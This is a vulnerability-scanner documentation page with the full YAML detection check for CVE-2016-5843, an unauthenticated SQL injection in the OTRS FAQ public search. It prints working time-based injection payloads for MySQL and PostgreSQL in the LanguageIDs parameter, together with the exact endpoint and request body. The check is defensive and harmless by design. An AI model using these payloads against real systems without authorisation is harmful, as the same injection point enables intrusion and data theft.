OTRS — 1 vulnerability check

noctis ships 1 vulnerability check for OTRS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

OTRS FAQ package public search LanguageIDs SQL injection

CVECVE-2016-5843
Severitycritical · CVSS 9.4
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/otrs/CVE-2016-5843.yaml

The FAQ package for OTRS (2.x before 2.3.6, 4.x before 4.0.5, 5.x before 5.0.5) builds the SQL of its search with the LanguageIDs parameter copied unquoted into an `IN (...)` list. The public FAQ search (public.pl?Action=PublicFAQSearch) needs no login, so any remote user can inject SQL.

This check first confirms the public FAQ explorer page is present, sends a benign search as a timing baseline, then sends the same search with LanguageIDs closing the `IN` list and adding an always-true condition that makes the database sleep: a derived-table SLEEP for MySQL/MariaDB, then a PG_SLEEP subquery for PostgreSQL. It reports the finding only when two random delays both show up over the baseline, each within its own window, and the longer one takes measurably longer. Nothing is read from or written to the database.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{otrs_dir}}/public.pl?Action=PublicFAQExplorer
  3. HTTP(S) request POST {{otrs_dir}}/public.pl with a crafted body
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request POST {{otrs_dir}}/public.pl with a crafted body
  6. HTTP(S) request POST {{otrs_dir}}/public.pl with a crafted body
  7. Parses / computes the next value with a Rhai script
  8. Checks tm.found for ^SLEEP$ → finding QoD 75: Time-based SQLi (MySQL/MariaDB) in LanguageIDs of POST …/public.pl Action=PublicFAQSearch: LanguageIDs=2) AND (SELECT * FROM (SELECT(SLEEP(…
  9. HTTP(S) request POST {{otrs_dir}}/public.pl with a crafted body
  10. HTTP(S) request POST {{otrs_dir}}/public.pl with a crafted body
  11. Parses / computes the next value with a Rhai script
  12. Checks tp.found for ^PG_SLEEP$ → finding QoD 75: Time-based SQLi (PostgreSQL) in LanguageIDs of POST …/public.pl Action=PublicFAQSearch: LanguageIDs=2) AND 9372=(SELECT 9372 FROM PG_SLEEP(…

References:

Feed source — tests/vulnerabilities/otrs/CVE-2016-5843.yaml
# OTRS FAQ package — LanguageIDs SQL injection in the public FAQ search
#
# The FAQ package's FAQSearch() (Kernel/System/FAQ.pm) joins the LanguageIDs
# array it receives from the unauthenticated public search
# (public.pl?Action=PublicFAQSearch&Subaction=Search) into
#   ... AND i.f_language_id IN (<LanguageIDs>) ...
# without quoting. FAQ 2.3.6, 4.0.5 and 5.0.5 quote every ID as an integer.
#
# Detection, as the reference check: gate on the public FAQ explorer page,
# then close the IN list and add a time-delay condition, first for MySQL /
# MariaDB, then for PostgreSQL (the two databases the public search is
# usually backed by):
#   MySQL:      2) AND (SELECT * FROM (SELECT(SLEEP(n)))nwrQ) AND (4570=4570
#   PostgreSQL: 2) AND 9372=(SELECT 9372 FROM PG_SLEEP(n)) AND (4256=4256
# Both forms run exactly once per query, whatever the number of FAQ rows —
# measured on MariaDB 10.11 and PostgreSQL 16 against the FAQSearch query
# shape with an empty and a populated faq_item table (MariaDB materialises the
# derived table once; PostgreSQL turns the scalar subquery into an InitPlan
# behind a One-Time Filter). Both are always-true and read nothing: no data is
# returned or written.
#
# Differences from the reference check (which counts 2 of 3 delays 3/5/7 s
# within [n, n + explorer latency]): a benign LanguageIDs=2 search is the
# baseline, two random delays (n, n + 3) must each land in their own window
# above it, and the longer one must take >= 2 s more than the shorter — a
# server that holds every SLEEP-looking request for a fixed time (WAF/IPS
# tarpit) gives no gap and stays clean. The longer delay is sent first, so a
# WAF that holds each successive request longer fails its window too. Windows
# allow 1 s of jitter below the delay (slow plain-CGI installs), and only a
# baseline under 8 s is timed. Install paths /otrs (the default) and
# the web root are both tried. OTRS renders the whole page before printing
# it, so http_request's header-time duration_ms covers the query.
#
# Source: OpenVAS/Greenbone NASL 2016/gb_otrs_faq_sql_inj_vuln.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.106290, GPL-2.0-only)
uid: 8d8404c9-c2d2-48a2-87cf-6e49eaf7c9ad
name: "OTRS FAQ package public search LanguageIDs SQL injection (CVE-2016-5843)"
description: |
  The FAQ package for OTRS (2.x before 2.3.6, 4.x before 4.0.5, 5.x before
  5.0.5) builds the SQL of its search with the LanguageIDs parameter copied
  unquoted into an `IN (...)` list. The public FAQ search
  (public.pl?Action=PublicFAQSearch) needs no login, so any remote user can
  inject SQL.

  This check first confirms the public FAQ explorer page is present, sends a
  benign search as a timing baseline, then sends the same search with
  LanguageIDs closing the `IN` list and adding an always-true condition that
  makes the database sleep: a derived-table SLEEP for MySQL/MariaDB, then a
  PG_SLEEP subquery for PostgreSQL. It reports the finding only when two
  random delays both show up over the baseline, each within its own window,
  and the longer one takes measurably longer. Nothing is read from or written
  to the database.
cves: [CVE-2016-5843]
cvss: 9.4
severity: critical
confidence_base: 0.35
category: sqli
tags: [otrs, faq, sqli, time-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2016-5843"
  - "https://www.otrs.com/security-advisory-2016-01-security-update-otrs-faq-package/"
  - "https://github.com/OTRS/FAQ/commit/b805703e7b7725d1f3040bb626a4c4dd845ee9e3"
  - "OpenVAS/Greenbone NASL 2016/gb_otrs_faq_sql_inj_vuln.nasl (GPL-2.0-only)"

steps:
  # ── Random delays and the fixed part of the search form ────────────────────
  - id: gen-delays
    action: script
    code: |
      let s1 = rand_int(4, 5);
      #{
        s1: s1,
        s2: s1 + 3,
        head: "Action=PublicFAQSearch&Subaction=Search&Number=&Fulltext=&Title=&Keyword=&LanguageIDs=",
        tail: "&VoteSearchOption=&VoteSearchType=Equals&VoteSearch=&RateSearchOption=&RateSearchType=Equals&RateSearch=0&TimeSearchType=&ItemCreateTimePointStart=Last&ItemCreateTimePoint=1&ItemCreateTimePointFormat=day&ItemCreateTimeStartMonth=8&ItemCreateTimeStartDay=28&ItemCreateTimeStartYear=2016&ItemCreateTimeStopMonth=9&ItemCreateTimeStopDay=27&ItemCreateTimeStopYear=2016&ResultForm=Normal"
      }
    store_as: sc

  # ── Per candidate install path (loop group) ────────────────────────────────
  # Pre-initialise every stored result a script reads: a failed request
  # leaves store_as unset and an undefined var would abort the whole test.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: null}
    loop:
      over: ["/otrs", ""]
      var: otrs_dir

  - id: init-base
    action: set_var
    var_name: base_resp
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-my1
    action: set_var
    var_name: my1
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-my2
    action: set_var
    var_name: my2
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-pg1
    action: set_var
    var_name: pg1
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-pg2
    action: set_var
    var_name: pg2
    var_value: {status: 0, body: null, duration_ms: 0}

  # ── Gate: the public FAQ explorer must be there ────────────────────────────
  - id: explorer
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{otrs_dir}}/public.pl?Action=PublicFAQExplorer"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: page

  # Baseline: the same search with a plain integer LanguageIDs.
  - id: baseline
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{otrs_dir}}/public.pl"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{sc.head}}2{{sc.tail}}"
    condition: "page.status == 200 && type_of(page.body) == \"string\" && page.body.contains(\"<title>FAQ -\")"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: base_resp

  - id: check-baseline
    action: script
    code: |
      let ok = page.status == 200 && type_of(page.body) == "string" && page.body.contains("<title>FAQ -")
        && base_resp.status == 200 && base_resp.duration_ms < 8000;
      #{ ok: ok }
    store_as: bl

  # ── MySQL / MariaDB: derived-table SLEEP ───────────────────────────────────
  - id: mysql-sleep-2
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{otrs_dir}}/public.pl"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{sc.head}}2)+AND+(SELECT+*+FROM+(SELECT(SLEEP({{sc.s2}})))nwrQ)+AND+(4570%3D4570{{sc.tail}}"
    condition: "bl.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 25
    store_as: my2

  - id: mysql-sleep-1
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{otrs_dir}}/public.pl"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{sc.head}}2)+AND+(SELECT+*+FROM+(SELECT(SLEEP({{sc.s1}})))nwrQ)+AND+(4570%3D4570{{sc.tail}}"
    condition: "bl.ok && my2.duration_ms >= base_resp.duration_ms + sc.s2 * 1000 - 1000 && my2.duration_ms <= base_resp.duration_ms + sc.s2 * 1000 + 4000"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 25
    store_as: my1

  # Each delay within its own window over the baseline, and the longer SLEEP
  # measurably longer than the shorter one (a constant tarpit gives no gap).
  - id: check-mysql
    action: script
    code: |
      let base = base_resp.duration_ms;
      let d1 = my1.duration_ms - base;
      let d2 = my2.duration_ms - base;
      let w1 = d1 >= sc.s1 * 1000 - 1000 && d1 <= sc.s1 * 1000 + 4000;
      let w2 = d2 >= sc.s2 * 1000 - 1000 && d2 <= sc.s2 * 1000 + 4000;
      let hit = bl.ok && my1.status == 200 && my2.status == 200 && w1 && w2 && (d2 - d1) >= 2000;
      #{ hit: hit, found: if hit { "SLEEP" } else { "" } }
    store_as: tm

  - id: report-mysql
    action: match
    source: tm.found
    pattern: "^SLEEP$"
    condition: "tm.hit"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Time-based SQLi (MySQL/MariaDB) in LanguageIDs of POST {{otrs_dir}}/public.pl Action=PublicFAQSearch: LanguageIDs=2) AND (SELECT * FROM (SELECT(SLEEP(n)))nwrQ) AND (4570=4570 delayed the reply by the injected n — baseline {{base_resp.duration_ms}} ms, SLEEP({{sc.s1}}) {{my1.duration_ms}} ms, SLEEP({{sc.s2}}) {{my2.duration_ms}} ms"
      stop: true

  # ── PostgreSQL: scalar PG_SLEEP subquery (only when MySQL gave nothing) ────
  - id: pg-sleep-2
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{otrs_dir}}/public.pl"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{sc.head}}2)+AND+9372%3D(SELECT+9372+FROM+PG_SLEEP({{sc.s2}}))+AND+(4256%3D4256{{sc.tail}}"
    condition: "bl.ok && !tm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 25
    store_as: pg2

  - id: pg-sleep-1
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{otrs_dir}}/public.pl"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{sc.head}}2)+AND+9372%3D(SELECT+9372+FROM+PG_SLEEP({{sc.s1}}))+AND+(4256%3D4256{{sc.tail}}"
    condition: "bl.ok && !tm.hit && pg2.duration_ms >= base_resp.duration_ms + sc.s2 * 1000 - 1000 && pg2.duration_ms <= base_resp.duration_ms + sc.s2 * 1000 + 4000"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 25
    store_as: pg1

  - id: check-pg
    action: script
    code: |
      let base = base_resp.duration_ms;
      let d1 = pg1.duration_ms - base;
      let d2 = pg2.duration_ms - base;
      let w1 = d1 >= sc.s1 * 1000 - 1000 && d1 <= sc.s1 * 1000 + 4000;
      let w2 = d2 >= sc.s2 * 1000 - 1000 && d2 <= sc.s2 * 1000 + 4000;
      let hit = bl.ok && !tm.hit && pg1.status == 200 && pg2.status == 200 && w1 && w2 && (d2 - d1) >= 2000;
      #{ hit: hit, found: if hit { "PG_SLEEP" } else { "" } }
    store_as: tp

  - id: report-pg
    action: match
    source: tp.found
    pattern: "^PG_SLEEP$"
    condition: "tp.hit"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Time-based SQLi (PostgreSQL) in LanguageIDs of POST {{otrs_dir}}/public.pl Action=PublicFAQSearch: LanguageIDs=2) AND 9372=(SELECT 9372 FROM PG_SLEEP(n)) AND (4256=4256 delayed the reply by the injected n — baseline {{base_resp.duration_ms}} ms, PG_SLEEP({{sc.s1}}) {{pg1.duration_ms}} ms, PG_SLEEP({{sc.s2}}) {{pg2.duration_ms}} ms"
      stop: true

View these feeds on GitHub